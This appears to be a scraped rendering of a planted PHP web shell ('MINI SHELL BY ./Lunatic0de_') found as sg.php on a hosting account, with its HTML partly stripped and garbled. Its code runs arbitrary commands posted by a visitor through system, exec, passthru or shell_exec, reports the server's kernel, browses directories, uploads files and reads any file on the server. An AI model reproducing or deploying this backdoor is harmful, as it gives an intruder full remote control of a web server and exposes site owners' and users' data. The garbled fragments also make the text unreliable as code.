$dir | |||
$file |
Directory : /home/content/12/10898412/html/pitujjain/ |
Current File : /home/content/12/10898412/html/pitujjain/sg.php |
$value){ $_POST[$key] = stripslashes($value); } } function exe($cmd) { if(function_exists('system')) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('exec')) { @exec($cmd,$results); $buff = ""; foreach($results as $result) { $buff .= $result; } return $buff; } elseif(function_exists('passthru')) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('shell_exec')) { $buff = @shell_exec($cmd); return $buff; } } $kernel = php_uname(); echo ''; if($_POST['cmd']) { echo 'Eldersc0de Securi7y M!n!-
MINI SHELL BY ./Lunatic0de_ '; echo'SYSTEM: '.$kernel.'
'.exe($_POST['cmd']).'
Directory : '; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '/'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } echo ' |
';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo 'File uploaded successfully! '; }else{ echo 'Upload failed! Fuck! ![]() '; } } echo ' |
Current File : "; echo $_GET['filesrc']; echo ' |
'.htmlspecialchars(file_get_contents($_GET['filesrc'])).''); }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
$dir | |||
$file |